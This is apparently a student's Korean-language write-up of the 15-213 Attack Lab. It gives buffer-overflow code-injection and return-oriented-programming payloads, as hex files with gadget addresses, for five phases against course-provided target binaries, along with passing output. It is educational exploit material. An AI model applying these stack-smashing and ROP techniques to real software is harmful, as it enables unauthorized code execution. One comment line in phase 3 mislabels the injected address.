Lab 4

20200437 김채현

본 Lab의 목표는 buffer overflow의 특성을 이용하여 ctarget과 rtarget 프로그램에서 원하는 함수를 호출하도록 하는 것이다. ctarget은 Code injection을, rtarget은 Return-oriented programming을 이용하여 해결하여야 하며, phase는 총 5개로 각각에 적절한 input을 찾으면 PASS하여 문제가 해결된다.

---

phase_1

phase_1의 목표는 Code injection 방식을 이용해 touch1 함수를 실행시키는 것이다.

```
0000000000401803 <touch1>:
  401803:     48 83 ec 08               sub    $0x8,%rsp
  401807:     c7 05 cb 2c 20 00 01      movl   $0x1,0x202ccb(%rip)
  40180e:     00 00 00
  401811:     bf 7f 2f 40 00            mov    $0x402f7f,%edi
  401816:     e8 15 f4 ff ff            callq  400c30 <puts@plt>
  40181b:     bf 01 00 00 00            mov    $0x1,%edi
  401820:     e8 f4 03 00 00            callq  401c19 <validate>
  401825:     bf 00 00 00 00            mov    $0x0,%edi
  40182a:     e8 91 f5 ff ff            callq  400dc0 <exit@plt>
```

objdump 명령어를 통해 touch1 함수를 disassemble 해보면 시작 주소가 0000000000401803임을 알 수 있다.

test 함수를 보면 getbuf 함수가 호출되는 것을 볼 수 있다.

```
00000000004017ed <getbuf>:
  4017ed:     48 83 ec 18               sub    $0x18,%rsp
  4017f1:     48 89 e7                  mov    %rsp,%rdi
  4017f4:     e8 31 02 00 00            callq  401a2a <Gets>
  4017f9:     b8 01 00 00 00            mov    $0x1,%eax
  4017fe:     48 83 c4 18               add    $0x18,%rsp
  401802:     c3                        retq
```

getbuf 함수에서는 rsp를 0x18byte만큼 빼줌으로써 stack에 24byte를 할당한다. 후에 Gets 호출된다. Gets 함수는 입력을 받아 stack에 top에서부터 차례로 저장하는 함수이다. return address는 24byte 이후 8byte에 들어있다. 그 자리를 touch1 함수의 주소인 0000000000401803로 덮어씌워주면 된다. 이 때, Little Endian임을 고려하여 넣어주어야 한다.

24개의 문자는 임의로 00을 넣으면 되므로 24개의 00을 넣고 이후에 03 18 40 00 00 00 00 00을 넣어준다. 따라서 다음과 같이 phase_1.txt파일을 만들어 준다.

```
/* phase_1.txt */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
03 18 40 00 00 00 00 00
```

hex2raw를 이용하여 이를 string으로 변환하고 ctarget에 입력해주면 phase_1을 통과할 수 있다.

```
-bash-4.2$ ./hex2raw < phase_1.txt | ./ctarget -q
Cookie: 0x3ed09817
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
       user id      kch3481
       course 15213-f15
       lab    attacklab
     result  20200437:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 18 40 00 00 00 00 00
```

---

phase_2

phase_2의 목표는 Code injection 방식을 이용해 touch2 함수를 실행시키는 것이다.

```
000000000040182f <touch2>:
  40182f:     48 83 ec 08               sub    $0x8,%rsp
  401833:     89 fe                     mov    %edi,%esi
  401835:     c7 05 9d 2c 20 00 02      movl   $0x2,0x202c9d(%rip)
  40183c:     00 00 00
  40183f:     3b 3d 9f 2c 20 00         cmp    0x202c9f(%rip),%edi
  # 6044e4 <cookie>
  401845:     75 1b                     jne    401862 <touch2+0x33>
  401847:     bf a8 2f 40 00            mov    $0x402fa8,%edi
  40184c:     b8 00 00 00 00            mov    $0x0,%eax
  401851:     e8 0a f4 ff ff            callq  400c60 <printf@plt>
  401856:     bf 02 00 00 00            mov    $0x2,%edi
  40185b:     e8 b9 03 00 00            callq  401c19 <validate>
  401860:     eb 19                     jmp    40187b <touch2+0x4c>
  401862:     bf d0 2f 40 00            mov    $0x402fd0,%edi
  401867:     b8 00 00 00 00            mov    $0x0,%eax
  40186c:     e8 ef f3 ff ff            callq  400c60 <printf@plt>
  401871:     bf 02 00 00 00            mov    $0x2,%edi
  401876:     e8 50 04 00 00            callq  401ccb <fail>
  40187b:     bf 00 00 00 00            mov    $0x0,%edi
```

```
  401880:     e8 3b f5 ff ff              callq  400dc0 <exit@plt>
```

objdump 명령어를 통해 touch2 함수를 disassemble 해보면 시작 주소가 000000000040182f임을 알 수 있다. 또한 touch2 함수는 %rdi를 argument로 넘겨받는데 40183f에서 cookie 값과 %rdi의 값을 비교한 후 같지 않으면 401862로 jump 해버린다. 그러면 401860의 code가 실행되지 않으므로 %rdi의 값을 cookie.txt 값으로 바꿔주어 401845에서 jump하지 않도록 해주어야 한다.

```
-bash-4.2$ cat cookie.txt
0x3ed09817
```

cookie 값은 0x3ed09817임을 알 수 있다. 따라서 movq $0x3ed09817, %rdi 라는 code가 실행되어야 한다.

%rip가 먼저 mov instruction 주소로 가서 실행을 시키고, return instruction이 실행되어 %rsp+8로 가 거기에서 touch2가 실행되도록 하는 순서가 되어야 한다. 그러기 위해선 먼저, touch2 함수의 시작주소(0x40182f) 먼저 넣어야 한다. 따라서 code는 다음과 같이 되어야한다.

```
pushq $0x40182f
movq $0x3ed09817, %rdi
retq
```

이를 Appendix B에 적혀 있는 방법으로 byte codes로 만들면 다음과 같다.

```
0000000000000000 <.text>:
   0:  68 2f 18 40 00             pushq  $0x40182f
   5:  48 c7 c7 17 98 d0 3e       mov    $0x3ed09817,%rdi
   c:              c3                    retq
```

return instruction이 실행될 때 %rsp의 주소로 가게 해야 한다. 위에 getbuf 함수의 assemble code를 보면 4017f1에서 %rsp 값을 %rdi에 옮기는 것을 볼 수 있다. Gets 함수가 실행되기 전 break를 걸고 gdb를 이용해 %rdi의 값을 찾으면 다음과 같다.

```
(gdb) x/d $rdi
0x556326a8:         0
```

따라서 buffer에 byte code를 채운 후 나머지 24byte가 될 때까지 00을 채우고(padding) 이후에는 a8 26 63 55 00 00 00 00을 채우면 된다. 따라서 다음과 같이 phase_2.txt파일을 만들어 준다.

```
/* phase_2.txt */
68 2f 18 40 00 48 c7 c7
17 98 d0 3e c3 00 00 00
00 00 00 00 00 00 00 00
a8 26 63 55 00 00 00 00
```

hex2raw를 이용하여 이를 string으로 변환하고 ctarget에 입력해주면 phase_2을 통과할 수 있다.

```
-bash-4.2$ ./hex2raw < phase_2.txt | ./ctarget -q
Cookie: 0x3ed09817
Type string:Touch2!: You called touch2(0x3ed09817)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
                    user id       kch3481
                    course 15213-f15
                    lab    attacklab
                    result 20200437:PASS:0xffffffff:ctarget:2:68 2F 18 40
00 48 C7 C7 17 98 D0 3E C3 00 00 00 00 00 00 00 00 00 00 00 A8 26 63 55
00 00 00 00
```

---

phase_3

phase_3의 목표는 Code injection 방식을 이용해 touch3 함수를 실행시키는 것이다. 사실상 phase_3은 phase_2와 매우 유사한 방법으로 해결할 수 있다. 다만 다른 점은 cookie 값을 string 으로 저장해두고, 그 시작 주소를 %rdi에 저장해주어야 한다는 점이다.

```
0000000000401903 <touch3>:
  401903:     53                          push   %rbx
  401904:     48 89 fb                    mov    %rdi,%rbx
  401907:     c7 05 cb 2b 20 00 03        movl  $0x3,0x202bcb(%rip)
# 6044dc <vlevel>
  40190e:     00 00 00
  401911:     48 89 fe                    mov    %rdi,%rsi
  401914:     8b 3d ca 2b 20 00           mov    0x202bca(%rip),%edi
# 6044e4 <cookie>
  40191a:     e8 66 ff ff ff              callq  401885 <hexmatch>
  40191f:     85 c0                       test   %eax,%eax
  401921:     74 1e                       je     401941 <touch3+0x3e>
  401923:     48 89 de                    mov    %rbx,%rsi
  401926:     bf f8 2f 40 00              mov    $0x402ff8,%edi
  40192b:     b8 00 00 00 00              mov    $0x0,%eax
  401930:     e8 2b f3 ff ff              callq  400c60 <printf@plt>
  401935:     bf 03 00 00 00              mov    $0x3,%edi
  40193a:     e8 da 02 00 00              callq  401c19 <validate>
  40193f:     eb 1c                       jmp    40195d <touch3+0x5a>
  401941:     48 89 de                    mov    %rbx,%rsi
  401944:     bf 20 30 40 00              mov    $0x403020,%edi
  401949:     b8 00 00 00 00              mov    $0x0,%eax
  40194e:     e8 0d f3 ff ff              callq  400c60 <printf@plt>
```

```
  401953:     bf 03 00 00 00            mov    $0x3,%edi
  401958:     e8 6e 03 00 00            callq  401ccb <fail>
  40195d:     bf 00 00 00 00            mov    $0x0,%edi
  401962:     e8 59 f4 ff ff            callq  400dc0 <exit@plt>
```

touch3 함수의 40191a에서는 hexmatch 함수를 호출하는데 이는 %rdi 값과 cookie의 string을 비교하여 일치하면 1을, 일치하지 않으면 0을 반환하는 함수이다. 이후 일치하지 않으면 401921에서 je 명령어를 실행할 수 없도록 하는 구조이다.

phase_2와는 다르게 mov instruction에 cookie의 주소를 넣어야 한다. 이는 cookie string은 stack이 끝난 후 rsp return 주소와 touch3 주소 위에 들어가야 하므로 phase_2에서 구한 return 주소에 0x28을 더해주어야 한다. 0x556326a8 + 0x28 = 0x556326d0이므로 code는 다음과 같이 되어야 한다.

```
movq $0x556326d0, %rdi
retq
```

이를 phase_2와 같이 Appendix B에 적혀 있는 방법으로 byte codes를 만들면 다음과 같다.

```
0000000000000000 <.text>:
   0:  48 c7 c7 d0 26 63 55       mov    $0x556326b0, %rdi
   7:               c3            retq
```

cookie 값인 0x3ed09817을 ASCII code로 변환하면 33 65 64 30 39 38 31 37이 된다. 뒤에 NULL도 추가해주어야 하므로 buffer에 넣어줄 때는 33 65 64 30 39 38 31 37 00을 넣어주어야 한다.

buffer에 byte code를 채운 후 나머지 16byte를 00으로 채운다(padding). 이후에는 rsp의 주소, touch3의 주소, cookie string을 차례로 넣어주면 된다. 따라서 다음과 같이 phase_3.txt파일을 만들어 준다.

```
/* phase_3.txt */
48 c7 c7 d0 26 63 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 26 63 55 00 00 00 00
03 19 40 00 00 00 00 00
33 65 64 30 39 38 31 37
00
```

hex2raw를 이용하여 이를 string으로 변환하고 ctarget에 입력해주면 phase_3을 통과할 수 있다.

```
-bash-4.2$ ./hex2raw < phase_3.txt | ./ctarget -q
Cookie: 0x3ed09817
Type string:Touch3!: You called touch3("3ed09817")
```

```
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
       user id      kch3481
       course 15213-f15
       lab    attacklab
       result 20200437:PASS:0xffffffff:ctarget:3:48 C7 C7 D0 26 63 55 C3
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A8 26 63 55 00 00 00 00
03 19 40 00 00 00 00 00 33 65 64 30 39 38 31 37 00
```

---

phase_4

phase_4의 목표는 touch2 함수를 실행시키는 것이다. 하지만 phase_4는 위의 Code injection 방식과는 다르게 ROP 방식을 활용해야 한다.

phase_2와 같이 mov $0x3ed09817, %rdi의 instruction이 시행되어야 한다. 그렇게 하기 위해서는 stack top에 $0x3ed09817을 넣은 후 popq %rdi를 하면 된다. 하지만 5f c3 코드를 포함하는 gadget이 없으므로 어쩔 수 없이 pop 명령어를 이용해 다른 register에 넣은 후 mov 명령어를 통해 다시 %rdi로 옮겨야 한다. 따라서 다음과 같은 명령어를 만들면 된다. 또한 이에 해당하는 gadget 코드를 찾으면 다음과 같다. retq는 c3이므로 gadget이므로 마지막에 c3을 붙여주어야 한다.

```
popq %rax // 58 c3
movq %rax, %rdi // 48 89 c7 c3
```

gadget들을 찾아보면 다음과 같다.

```
00000000004019b8 <addval_192>:
  4019b8:     8d 87 58 90 90 c3          lea    -0x3c6f6fa8(%rdi),%eax
  4019be:     c3                         retq
```

0x4019ba의 code를 보면 58 90 90 c3이다. 0x90은 nop이므로 이는 popq %rax; retq의 gadget으로 사용될 것이다.

```
00000000004019bf <getval_249>:
  4019bf:     b8 48 89 c7 c3             mov    $0xc3c78948,%eax
  4019c4:           c3                         retq
```

0x4019c0의 code를 보면 48 89 c7 c3이다. 이는 movq %rax, %rdi, retq의 gadget으로 사용될 것이다.

stack에 00으로 24byte를 padding을 해준 후 return address가 들어가는 곳에 popq %rax gadget의 주소로 가게 하고 %rax에 cookie 값을 넣는다. 이후 ret instruction이 실행되고 movq %rax, %rdi gadget의 주소로 가게 하여 %rdi에 cookie 값을 옮긴다. 다시 ret instruction이

실행되고 이 때 %rip가 stack top의 touch2 함수의 주소를 가리키게 하면 된다. 따라서 다음과 같이 phase_4.txt파일을 만들어 준다.

```
/* phase_4.txt */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ba 19 40 00 00 00 00 00
17 98 d0 3e 00 00 00 00
C0 19 40 00 00 00 00 00
2f 18 40 00 00 00 00 00
```

hex2raw를 이용하여 이를 string으로 변환하고 rtarget에 입력해주면 phase_4을 통과할 수 있다.

```
-bash-4.2$ ./hex2raw < phase_4.txt | ./rtarget -q
Cookie: 0x3ed09817
Type string:Touch2!: You called touch2(0x3ed09817)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
       user id      kch3481
       course 15213-f15
       lab    attacklab
       result 20200437:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BA 19 40 00 00 00 00 00
17 98 D0 3E 00 00 00 00 C0 19 40 00 00 00 00 00 2F 18 40 00 00 00 00 00
```

---

phase_5

phase_5의 목표는 ROP 방식을 이용하여 touch3 함수를 실행시키는 것이다.

cookie string을 stack에 저장하고 그 시작 주소를 %rdi에 저장한 후 touch3 함수를 호출하는 순서로 진행하며 된다. 하지만 문제는 rtarget는 stack randomization이 되어있기 때문에 rsp가 고정된 값이 아니다. 따라서 rsp는 code에서 직접 알아내야 한다.

순서는 이렇게 되어야한다. 먼저, stack에 cookie string을 저장한 후 %rsp를 %rdi로 옮긴다. %rsp 값부터 cookie string 시작 주소까지의 offset을 %rsi에 넣어 놓고, %rax에 cookie string의 시작 주소를 저장한다. %rax 값을 %rdi로 옮긴다. 하지만 %rsp 값 바로 %rdi에 옮겨주는 gadget이 없기 때문에 %rsp를 %rax에 옮겨준 다음 %rax에서 %rdi로 옮겨주는 방식을 사용해야 한다.

add_xy 함수는 %rdi+%rsi를 %rax에 저장하는 함수이다. %rdi에 rsp주소를, %rsi에 offset을 적절히 넣고 함수를 호출하면 %rax에 cookie string의 시작 주소를 넣을 수 있다는 것을 알 수 있다.

```
00000000004019cb <add_xy>:
  4019cb:     48 8d 04 37          lea    (%rdi,%rsi,1),%rax
  4019cf:     c3                   retq
```

따라서 정리해보면 code의 진행순서는 다음과 같아야 한다.

```
movq %rsp, %rax // 48 89 e0 c3
movq %rax, %rdi // 48 89 c7 c3
pop %rax //58 c3
/*offset*/
movl %eax, %ecx // 89 c1 c3
movl %ecx, %edx // 89 ca c3
movl %edx, %esi // 89 d6 c3
add_xy
movq %rax, %rdi // 48 89 c7 c3
/*touch3 주소*/
/*cookie string*/
```

각각에 사용할 gadget들은 다음과 같다.

```
0000000000401a20 <setval_184>:
  401a20:     c7 07 75 48 89 e0          movl   $0xe0894875,(%rdi)
  401a26:     c3                   retq

00000000004019bf <getval_249>:
  4019bf:     b8 48 89 c7 c3             mov    $0xc3c78948,%eax
  4019c4:     c3                   retq

00000000004019b8 <addval_192>:
  4019b8:     8d 87 58 90 90 c3          lea    -0x3c6f6fa8(%rdi),%eax
  4019be:     c3                         retq

00000000004019f0 <addval_413>:
  4019f0:     8d 87 89 c1 84 c9          lea    -0x367b3e77(%rdi),%eax
  4019f6:     c3                   retq

0000000000401a61 <setval_299>:
  401a61:     c7 07 89 ca 08 db          movl   $0xdb08ca89,(%rdi)
  401a67:     c3                   retq

0000000000401a83 <getval_169>:
  401a83:     b8 b7 6e 89 d6             mov    $0xd6896eb7,%eax
  401a88:     c3                   retq
```

4019f0에서 84 c9는 test %cl, %cl, 401a61에서 08 db는 orb %bl, %bl로 2-byte functional nop instruction으로 무시해도 되는 연산이다. 위에서 언급했듯 90도 무시할 수 있다.

offset은 mov %rsp, %rax instruction에서의 %rsp값과 cookie string 시작 주소까지의 offset이므로 72byte, 즉 0x48이다. add_xy의 주소는 4019cb, touch3의 주소는 401903, cookie string은 33 65 64 30 39 38 31 37 00이다. 일단 먼저 00을 24개 넣어 padding을 해준 뒤 아까 짠 code의 진행순서에 따라 만들어주면 다음과 같이 phase_5.txt파일이 만들어진다.

```
/* phase_5.txt */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
23 1a 40 00 00 00 00 00
c0 19 40 00 00 00 00 00
ba 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
f2 19 40 00 00 00 00 00
63 1a 40 00 00 00 00 00
86 1a 40 00 00 00 00 00
cb 19 40 00 00 00 00 00
c0 19 40 00 00 00 00 00
03 19 40 00 00 00 00 00
33 65 64 30 39 38 31 37
00
```

hex2raw를 이용하여 이를 string으로 변환하고 rtarget에 입력해주면 phase_5을 통과할 수 있다.

```
-bash-4.2$ ./hex2raw < phase_5.txt | ./rtarget -q
Cookie: 0x3ed09817
Type string:Touch3!: You called touch3("3ed09817")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
       user id      kch3481
       course 15213-f15
       lab    attacklab
                    result 20200437:PASS:0xffffffff:rtarget:3:00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 23 1A 40 00
00 00 00 00 C0 19 40 00 00 00 00 00 BA 19 40 00 00 00 00 00 48 00 00 00
00 00 00 00 F2 19 40 00 00 00 00 00 63 1A 40 00 00 00 00 00 86 1A 40 00
00 00 00 00 CB 19 40 00 00 00 00 00 C0 19 40 00 00 00 00 00 03 19 40 00
00 00 00 00 33 65 64 30 39 38 31 37 00
```